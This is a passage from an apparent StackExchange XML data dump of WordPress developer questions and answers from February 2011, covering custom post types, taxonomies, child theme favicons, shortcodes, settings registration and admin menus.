get_post($post_id);&#xA;        if ( $post ) {&#xA;        $post_type_object = get_post_type_object($post-&amp;gt;post_type);&#xA;            if ( $post_type_object ) {&#xA;                $post_type = $post-&amp;gt;post_type;&#xA;                $current_screen-&amp;gt;post_type = $post-&amp;gt;post_type;&#xA;                $current_screen-&amp;gt;id = $current_screen-&amp;gt;post_type;&#xA;            }&#xA;        }&#xA;    } elseif ( isset($_POST['post_type']) ) {&#xA;        $post_type_object = get_post_type_object($_POST['post_type']);&#xA;        if ( $post_type_object ) {&#xA;            $post_type = $post_type_object-&amp;gt;name;&#xA;            $current_screen-&amp;gt;post_type = $post_type;&#xA;            $current_screen-&amp;gt;id = $current_screen-&amp;gt;post_type;&#xA;        }&#xA;    } elseif ( isset($_SERVER['QUERY_STRING']) ) {&#xA;        $post_type = esc_attr( $_SERVER['QUERY_STRING'] );&#xA;        $post_type = str_replace( 'post_type=', '', $post_type );&#xA;    }&#xA;&#xA;    return $post_type;&#xA;}&#xA;&#xA;public function example() {&#xA;    $post_type = $this-&amp;gt;get_post_type();  &#xA;&#xA;    // FB_POST_TYPE_1 is defined with my post type&#xA;    if ( FB_POST_TYPE_1 == $post_type ) {&#xA;        // tue etwas, wenn wahr&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2011-02-21T07:35:38.117" LastActivityDate="2011-02-21T07:35:38.117" CommentCount="2" />
  <row Id="9810" PostTypeId="1" AcceptedAnswerId="9811" CreationDate="2011-02-19T10:51:15.227" Score="1" ViewCount="75" Body="&lt;p&gt;After creating a custom post type like below, I still dont get any option to set the parent of the post, am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type(&#xA;  'projects',&#xA;  array(&#xA;    'labels' =&amp;gt; array(&#xA;      'name' =&amp;gt; 'Projects',&#xA;      'singular_name' =&amp;gt; 'Project'&#xA;    ),&#xA;    'public' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'supports' =&amp;gt; array('title', 'editor', 'thumbnail', 'excerpt', 'comments'),&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'menu_position' =&amp;gt; 5&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imgur.com/m224s.jpg&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://imgur.com/m224s.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-19T11:11:58.237" Title="After creating hierarchical post type, still not getting any way to set parent" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="9811" PostTypeId="2" ParentId="9810" CreationDate="2011-02-19T11:01:24.253" Score="3" ViewCount="" Body="&lt;p&gt;Try adding 'page-attributes' to the supports flags: &lt;code&gt;'supports' =&amp;gt; array(..., 'page-attributes')&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-19T11:11:58.237" LastActivityDate="2011-02-19T11:11:58.237" />
  <row Id="9812" PostTypeId="2" ParentId="9808" CreationDate="2011-02-19T11:15:05.467" Score="3" ViewCount="" Body="&lt;p&gt;I would just build it into your theme, and have the icons stored in your theme folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you show them on the front end, just check for the icon image instead of showing the terms:&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach( $terms as $term ) {&#xA;&#xA;    if( file_exists( TEMPLATEPATH . 'images/' . $term-&amp;gt;slug . '.png' )&#xA;        //show image&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you did need it to be uploaded through the WP-Admin, then you can hook into the edit term page and add another form field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'my_taxonomy_edit_form_fields', 'my_callback_function_to_show_upload' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you did use the above method, you would also have to change the &quot;enc-type&quot; of the form.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-02-19T11:15:05.467" CommentCount="1" />
  <row Id="9813" PostTypeId="2" ParentId="9808" CreationDate="2011-02-19T11:20:17.673" Score="0" ViewCount="" Body="&lt;p&gt;You are not the only one who is asking so i posted an &lt;a href=&quot;http://en.bainternet.info/2011/custom-taxonomies-extra-fields&quot; rel=&quot;nofollow&quot;&gt;how to add extra fields to custom taxonomies&lt;/a&gt; that is only if you want to add them by yourself. if not then&#xA;Joe Hoyle solution to upload the images to the theme's directory and name them according to the term-&gt;ID.png gets my +1 vote.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-19T11:20:17.673" />
  <row Id="9814" PostTypeId="1" CreationDate="2011-02-19T11:27:20.297" Score="2" ViewCount="124" Body="&lt;p&gt;Hopefully someone can help me with this as I've been struggling for a few days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've built a form on a page that lets users filter Events by custom taxonomies Type, Period and Duration. These are working individually i.e. the filter shows all posts with either Type=x or Period=y but not combined. Can anyone see why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pastie.org/1581889&quot; rel=&quot;nofollow&quot;&gt;Here's my code in Pastie&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also trying to figure out how to paginate my results for my custom loop, but can't figure out why it's not working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help massively appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, for some reason, I can't use the array method to pass my variables to query_posts() and I'm assuming this is because with the plugin Query Multiple Taxonomies which I need installed for this to work, it only works with the method 'post_type=event&amp;amp;fttype=daily' etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my new code which is working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pastie.org/1586564&quot; rel=&quot;nofollow&quot;&gt;http://www.pastie.org/1586564&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER, even though the pagination is working when you first visit the page, after you submit the form, the pagination stops working. So, nearly nearly there, but I need some help with the last part if anyone can be so kind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastEditorUserId="2685" LastEditorDisplayName="" LastEditDate="2011-02-20T19:00:31.113" LastActivityDate="2011-02-20T19:00:31.113" Title="Why is my custom loop not filtering correctly nor paginating?" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="9815" PostTypeId="1" CreationDate="2011-02-19T12:19:26.440" Score="0" ViewCount="69" Body="&lt;p&gt;Hei,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've got several things that require some sort of post to user relationships. I've thought about this for a while and it occurs to me that it would be great if i could create a custom taxonomy for each of those needs that holds the registered user ids as it's terms. I could add the term on each new user registration and remove it after. So far so good, but that's not very efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i'm wondering if there'd be a not too hackish way to 'map' my user registry into my custom taxonomies? A fictive example to make it clearer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Post-Type: Audio Episodes&lt;br&gt;&#xA;Custom Taxonomy: Listeners&lt;br&gt;&#xA;Available terms for the custom Taxonomy: &amp;lt;- mapped to the users list  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a user could 'subscribed' themselves as a listener to that episode. I know i can store them all in a big metadata field, but that's kinda ugly. And since i'll have several of such taxonomies, creating and removing terms for them all the time is kinda ugly, too and just duplicates db records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can i just map my users into the whole thing? Or would that require to set up a whole big mess of filters to set up?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-19T12:19:26.440" Title="Mapping users as 'pseudo' terms into custom taxonomies?" Tags="&lt;users&gt;&lt;taxonomy&gt;" CommentCount="2" />
  <row Id="9817" PostTypeId="2" ParentId="9804" CreationDate="2011-02-19T12:31:51.697" Score="2" ViewCount="" Body="&lt;p&gt;The plugins have to be licensed under the GPL and no, you don't have to set up your own site for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info here: &lt;a href=&quot;http://wordpress.org/extend/plugins/about/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/about/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-19T12:31:51.697" CommentCount="1" />
  <row Id="9818" PostTypeId="1" AcceptedAnswerId="9868" CreationDate="2011-02-19T12:36:11.287" Score="1" ViewCount="307" Body="&lt;p&gt;WordPress v 3.0.4 multisite-network enabled, local installation w MAMP 1.9.4, PHP 5.3.2, Theme: Twentyten child&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TWO PROBLEMS: 1) Display of header image thumbnails in admin panel and 2) path to favicon.ico for child theme (used for main site at root) - both defined in the functions.php file inside child theme folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Created 'functions.php' file in child theme folder, implementing code by David Cox of Digital Raindrops, as posted up at digitalraindrops.pastebin.com/B3mPW3RD, with slight modification to allow for calling favicon, also to allow for second menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does work - the image thumbprints are showing up, and I can select them; HOWEVER, the display is wonky. In the admin panel under “Header” | Default Images, immediately below the text “If you don‘t want to upload your own image, you can use one of these cool headers”, there is a lone radio button, and beside it and slightly stepped down, a row of 2 header image thumbprints I’m using, and then to their right, slightly stepped up (on the same level with the first radio button on the far left), two more radio buttons, beside the names of the images but without thumbprints. My description is perhaps confusing, and if you agree that a picture is worth a thousand words, take a look at imgur.com/AHmLQ.png.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shall I paste the code here? Warning: it's long, and I've already pasted it over at wordpress.pastebin.com/wMmTF1Zc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, this is a local installation, so no link to my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can help spot what I’m doing wrong, will really appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh - and I'm having trouble with the path to the favicon.ico. The image is located in wp-content/themes/twentyten-child-main/images/. The code is placed at the top of the functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&amp;lt;?php&#xA;&#xA;&#xA;/** Twentyten child theme: twentyten-child-main */&#xA;&#xA;&#xA;function favicon_link() {&#xA;    echo '&amp;lt;link rel=&quot;shortcut icon&quot; type=&quot;image/x-icon&quot; href=&quot;/wp-content/themes/twentyten-child-main/images/favicon.ico&quot; /&amp;gt;' . &quot;\n&quot;;&#xA;}&#xA;&#xA;&#xA;add_action('wp_head', 'favicon_link');&lt;/blockquote&gt;&#xA;" OwnerUserId="3010" LastActivityDate="2011-02-20T04:04:17.917" Title="Twentyten Child Theme: header images display messed up in admin panel" Tags="&lt;functions&gt;&lt;images&gt;&lt;customization&gt;&lt;child-theme&gt;&lt;favicon&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9819" PostTypeId="2" ParentId="9790" CreationDate="2011-02-19T12:51:01.277" Score="5" ViewCount="" Body="&lt;p&gt;Add &lt;code&gt;topsy.com/trackback&lt;/code&gt; (or whatever they are using for those links now) to &lt;code&gt;Settings&lt;/code&gt; &gt; &lt;code&gt;Discussion&lt;/code&gt; &gt; &lt;code&gt;Comment Blacklist&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-19T12:51:01.277" />
  <row Id="9820" PostTypeId="1" CreationDate="2011-02-19T12:55:50.027" Score="0" ViewCount="174" Body="&lt;p&gt;I have download a wordpress theme from &#xA; &lt;a href=&quot;http://wordpress.org/extend/themes/citizen-kane&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/citizen-kane&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am trying to activate it gives somthing like in the location&lt;code&gt;Dashboard-&amp;gt;Appearence-&amp;gt;Themes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Broken Themes&lt;p&gt;&#xA; The following themes are installed but incomplete. Themes must have a  stylesheet and a template.&lt;p&gt;&#xA;Name    Description&#xA;Citizen Kane    The parent theme is missing. Please install the &quot;bp-default&quot; &#xA;parent theme.`&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help If any body have idea .I shall be very thanful to you all&#xA;I am waiting for ur reply&lt;/p&gt;&#xA;" OwnerUserId="1850" LastActivityDate="2011-02-19T13:27:55.337" Title="Problem with activate theme" Tags="&lt;3.0&gt;" AnswerCount="2" />
  <row Id="9821" PostTypeId="2" ParentId="9820" CreationDate="2011-02-19T13:01:28.140" Score="0" ViewCount="" Body="&lt;p&gt;When I tried same error displayed for me,&#xA;The theme is either corrupted or some files are missing from it,&#xA;Better you try some different themes rather then this&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-02-19T13:01:28.140" CommentCount="4" />
  <row Id="9822" PostTypeId="2" ParentId="9805" CreationDate="2011-02-19T13:04:46.417" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function font_fam($atts, $content = null) {&#xA;&#xA;    extract(shortcode_atts(array(&#xA;            'f' =&amp;gt; isset($atts[0]) ? $atts[0] : '' ,&#xA;            ), $atts));&#xA;&#xA;    return '&amp;lt;span style=&quot;font-family:' . $f . '&quot;&amp;gt;' . $content . '&amp;lt;/span&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode ('f','font_fam');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-19T13:04:46.417" CommentCount="1" />
  <row Id="9823" PostTypeId="2" ParentId="9818" CreationDate="2011-02-19T13:10:04.693" Score="0" ViewCount="" Body="&lt;p&gt;Found the answer to the 2nd problem. Inside functions.php, at top: &lt;blockquote&gt;&amp;lt;?php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/** Twentyten child theme: twentyten-child-main */&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function add_theme_favicon() { ?&amp;gt;&#xA;    &amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;&amp;lt;?php echo bloginfo('stylesheet_directory') ?&amp;gt;/images/favicon.ico&quot; &amp;gt;&#xA;&amp;lt;?php }&#xA;add_action('wp_head', 'add_theme_favicon');&lt;/blockquote&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But having no luck finding the solution to 1st problem. :(&lt;/p&gt;&#xA;" OwnerUserId="3010" LastActivityDate="2011-02-19T13:10:04.693" CommentCount="2" />
  <row Id="9824" PostTypeId="1" AcceptedAnswerId="9826" CreationDate="2011-02-19T13:15:26.927" Score="0" ViewCount="74" Body="&lt;p&gt;How can I get all children posts regardless of parent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you require more info: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The setup I have is like this: I have&#xA;  a custom post type &quot;Project&quot;. I will&#xA;  create top level pages as the &quot;main&quot;&#xA;  project page. Then I will have&#xA;  children pages as something like a&#xA;  project blog. Mainly for WIP posts. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I will have a Portfolio page that&#xA;  shows all completed projects, and a&#xA;  &quot;WIP&quot; page showing all WIP posts&#xA;  regardless of project. How can I do&#xA;  this&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-19T13:27:27.593" Title="How can I query for all children posts regardless of parent" Tags="&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="9825" PostTypeId="2" ParentId="9820" CreationDate="2011-02-19T13:18:48.703" Score="3" ViewCount="" Body="&lt;p&gt;This theme seems to be made for &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;Buddy Press&lt;/a&gt; and declares that it is child of &lt;a href=&quot;http://codex.buddypress.org/theme-development/the-bp-default-theme/&quot; rel=&quot;nofollow&quot;&gt;bp-default&lt;/a&gt; theme, which is not standalone - supplied with Buddy Press plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not quite sure why it is in repository at all, as far as I know child themes are still not supported there.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-19T13:18:48.703" />
  <row Id="9826" PostTypeId="2" ParentId="9824" CreationDate="2011-02-19T13:27:27.593" Score="2" ViewCount="" Body="&lt;p&gt;Couple of possible ways.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_pages()&lt;/code&gt;&lt;/a&gt; with &lt;code&gt;parent =&amp;gt; 0&lt;/code&gt; to fetch top-level ones and put them as &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;post__not_in&lt;/code&gt;&lt;/a&gt; in query.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Filter &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/posts_where&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;posts_where&lt;/code&gt;&lt;/a&gt; to add &lt;code&gt;AND post_parent &amp;gt; 0&lt;/code&gt; when necessary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-19T13:27:27.593" />
  <row Id="9829" PostTypeId="2" ParentId="9774" CreationDate="2011-02-19T14:06:02.247" Score="0" ViewCount="" Body="&lt;p&gt;Now i've thought about it(Mark is me, i use another account when i'm at other locations) all registering a setting does is prepare &lt;strong&gt;options.php&lt;/strong&gt; to accept your incoming form data when a valid nonce is present and also provides a means to hook a sanitization method to the submission of that data. It's really a convenience thing for plugins, and such..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the front end of the site it should be perfectly fine to just call &lt;code&gt;update_option&lt;/code&gt; and be done with it. It doesn't need to registered on the front end, because you're not submitting form data to &lt;strong&gt;options.php&lt;/strong&gt; as you would be for an administration page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to replicate your problem, but i've been unable to, here's my ugly test code to create a simple registered page that can save options.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RegisteredSettingsTest {&#xA;    private $page;&#xA;    private $name = 'test-option';&#xA;    private $options;&#xA;    function __construct() {&#xA;        add_action( 'admin_init', array( $this, 'admin_init' ) );&#xA;        add_action( 'admin_menu', array( $this, 'admin_menu' ) );&#xA;    }&#xA;    function admin_init() {&#xA;        register_setting( 'setting_ref', $this-&amp;gt;name, array( $this, 'update_option' ) );&#xA;        $this-&amp;gt;options = get_option( $this-&amp;gt;name );&#xA;    }&#xA;    function admin_menu() {&#xA;        $this-&amp;gt;page = add_dashboard_page( 'Test','Test','manage_options','translatable_demo', array( &amp;amp;$this , 'load' ) );&#xA;    }&#xA;    function update_option( $data ) {&#xA;        $clean = array_map( 'absint', $data );&#xA;        unset($data);&#xA;        return $clean;&#xA;    }&#xA;    function load() {&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;            &amp;lt;?php screen_icon('index'); ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Test&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;                &amp;lt;?php settings_fields( 'setting_ref' ); ?&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php $this-&amp;gt;field_name( 'fieldone') ?&amp;gt;&quot;&amp;gt;Field one &amp;lt;input value=&quot;&amp;lt;?php $this-&amp;gt;get_option( 'fieldone') ?&amp;gt;&quot; name=&quot;&amp;lt;?php $this-&amp;gt;field_name( 'fieldone') ?&amp;gt;&quot; type=&quot;text&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php $this-&amp;gt;field_name( 'fieldtwo') ?&amp;gt;&quot;&amp;gt;Field two &amp;lt;input value=&quot;&amp;lt;?php $this-&amp;gt;get_option( 'fieldtwo') ?&amp;gt;&quot; name=&quot;&amp;lt;?php $this-&amp;gt;field_name( 'fieldtwo') ?&amp;gt;&quot; type=&quot;text&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p class=&quot;submit&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;Submit&quot; class=&quot;button-secondary action&quot; value=&quot;Save&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;            &amp;lt;!-- Output options data, so we can see how it currently looks --&amp;gt;&#xA;            &amp;lt;pre&amp;gt;&amp;lt;?php print_r( $this-&amp;gt;options ) ?&amp;gt;&amp;lt;/pre&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;    function field_name( $name, $echo = true ) {&#xA;        $name = &quot;{$this-&amp;gt;name}[$name]&quot;;&#xA;        if( $echo )&#xA;            echo $name;&#xA;        else&#xA;            return $name;&#xA;    }&#xA;    function get_option( $name, $echo = true ) {&#xA;        $val = '';&#xA;        if( is_array( $this-&amp;gt;options ) &amp;amp;&amp;amp; isset( $this-&amp;gt;options[$name] ) )&#xA;            $val = $this-&amp;gt;options[$name];&#xA;&#xA;        if( $echo )&#xA;            echo $val;&#xA;        else&#xA;            return $val;&#xA;    }&#xA;}&#xA;$r = new RegisteredSettingsTest;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I loaded the page up, entered the values &lt;code&gt;1&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt; into the fields and hit Save(which of course works fine and i see the values &lt;code&gt;1&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt;). I'm using numeric values, because it's just a simple test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most simple front end test i could come up with was to just call &lt;code&gt;update_option&lt;/code&gt; inside my &lt;strong&gt;single.php&lt;/strong&gt;(though i could have used any other template file).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option( 'test-option', array('fieldone'=&amp;gt;3,'fieldtwo'=&amp;gt;4) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there were an issue, i should still see the values &lt;code&gt;1&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt; when i load up my test admin page. Unfortunately that's not the case, the new values, &lt;code&gt;3&lt;/code&gt; and &lt;code&gt;4&lt;/code&gt; are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you post up the code that you're using to update the option from the front end? If it's inside a callback, post the whole function, plus the action/filter it's hooked onto, please.. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;UPDATE:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove the sanitization callback before updating the option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_all_filters( 'sanitize_option_test-option', 10 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And your values won't get butchered by the callback function any longer, because it'll be unhooked.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-22T18:01:09.573" LastActivityDate="2011-02-22T18:01:09.573" CommentCount="5" />
  <row Id="9830" PostTypeId="2" ParentId="9774" CreationDate="2011-02-19T14:30:33.957" Score="0" ViewCount="" Body="&lt;p&gt;On a sidenote...wouldn't it be better to count the relevant posts and then add the base value from your options to get the total? (If that's really what you need it for.) Unless you want to build a settings-interface available from the front-end, this sounds like it points that you should do it in a different way. I think it might be confusing to the user if their 'settings' change on their own?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-19T14:30:33.957" CommentCount="2" />
  <row Id="9832" PostTypeId="1" AcceptedAnswerId="9855" CreationDate="2011-02-19T14:37:07.553" Score="0" ViewCount="506" Body="&lt;p&gt;I am working on creating an administration menu within WordPress for a plugin. I have successfully registered the menu using add_menu_page() and it shows in the sidebar as expected. I have also added a couple of sections within the menu using add_submenu_page().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that WordPress (running 3.05) is not correctly indicating which menu item should be activated as &quot;current&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I add a test page to the main Dashboard menu this is what I see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropbox.com/u/3019972/wp-screen1.png&quot; rel=&quot;nofollow&quot;&gt;http://dl.dropbox.com/u/3019972/wp-screen1.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the current page is visually correct within the menu and is given a class of &quot;current&quot;. However on my own menu it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropbox.com/u/3019972/wp-screen2.png&quot; rel=&quot;nofollow&quot;&gt;http://dl.dropbox.com/u/3019972/wp-screen2.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I would expect &quot;Dashboard&quot; to be highlighted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this simply a WordPress bug? or do I need to provide special code to make this work within my own menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated with code examples&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I am using for adding and creating menus looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu','my_admin_menu');&#xA;&#xA;function my_admin_menu() {&#xA;&#xA;// this test works as expected&#xA;// add_submenu_page( 'index.php', 'test', 'test', 'read', 'admin.php?page=plugin-dashboard','my_pluggin_dashboard' );&#xA;&#xA;// my main menu menu    &#xA;add_menu_page(__('My Plugin', 'myplugin'),__('My Plugin', 'myplugin'), 'edit_posts','admin.php?page=plugin-dashboard','my_plugin_dashboard','icon');&#xA;&#xA;// dashboard submenu - this fails to highlight with current&#xA;add_submenu_page('admin.php?page=plugin-dashboard', __('Dashboard','myplugin'), __('Dashboard','myplugin'), 'edit_posts', 'admin.php?page=plugin-dashboard', 'my_plugin_dashboard' );&#xA;&#xA;// settings submenu - this fails to highlight with current&#xA;add_submenu_page('admin.php?page=plugin-dashboard', __('Settings','myplugin'), __('Settings','myplugin'), 'manage_options', 'admin.php?page=my-plugin-settings', 'my_plugin_settings' );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have commented the code that works and the code that does not behave as I expect. Thanks for your comments.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastEditorUserId="3310" LastEditorDisplayName="" LastEditDate="2011-02-19T18:00:35.847" LastActivityDate="2011-02-19T21:11:16.543" Title="Current class on admin menu using add_submenu_page()" Tags="&lt;plugin-development&gt;&lt;admin-menu&gt;&lt;design&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="9833" PostTypeId="2" ParentId="7790" CreationDate="2011-02-19T14:44:11.100" Score="0" ViewCount="" Body="&lt;p&gt;I have a few scripts you may wish to look at. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Combine.php&lt;/strong&gt; &#xA; - On a number of my themes I have implemented &lt;a href=&quot;http://rakaz.nl/code/combine&quot; rel=&quot;nofollow&quot;&gt;this script&lt;/a&gt;. It supports similar functionality and can be dropped into your template folder and worked with relatively easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. WP Minify&lt;/strong&gt;&#xA; - &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-minify/&quot; rel=&quot;nofollow&quot;&gt;This plugin&lt;/a&gt; supports minifying and is very easily to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. W3 Total Cache&lt;/strong&gt;&#xA; -  is a very powerful performance plugin. It also supports script/css combination as well as a large number of other features e.g. off loading the combined scripts to a CDN.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2011-02-19T14:44:11.100" />
